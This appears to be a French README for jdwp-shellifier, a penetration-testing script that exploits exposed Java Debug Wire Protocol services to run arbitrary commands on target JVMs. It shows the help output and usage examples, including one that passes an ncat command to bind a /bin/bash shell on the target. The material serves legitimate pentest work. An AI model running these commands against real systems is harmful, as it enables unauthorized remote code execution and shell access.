
Script d'exploitation pour les services exposés du protocole Java Debug Wire Protocol (JDWP), permettant aux pentesters d'injecter du code Java et d'exécuter des commandes système arbitraires sur les JVM cibles.
Ce script d'exploitation est destiné à être utilisé par les pentesters contre un service JDWP actif, afin d'obtenir une exécution de code à distance.
Eh bien, de manière assez standard, le script ne nécessite qu'un interpréteur Python 2 :
% python ./jdwp-shellifier.py -h
usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD]
[--cmd COMMAND]
Universal exploitation script for JDWP by @_hugsy_
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP Remote target IP (default: None)
-p PORT, --port PORT Remote target port (default: 8000)
--break-on JAVA_METHOD
Specify full path to method to break on (default:
java.net.ServerSocket.accept)
--cmd COMMAND Specify full path to method to break on (default:
None)
Pour cibler un hôte/port spécifique :
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234
Cette commande injectera uniquement du code Java sur la JVM et affichera quelques informations comme le système d'exploitation, la version de Java. Comme elle n'exécute aucun code/binaire externe, elle est totalement sûre et peut être utilisée comme preuve de concept.
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"
Cette commande exécutera réellement le processus ncat avec l'argument spécifié, avec les droits accordés à la JVM en cours d'exécution.
Avant d'envoyer des questions, assurez-vous de lire http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html pour une compréhension complète du protocole JDWP.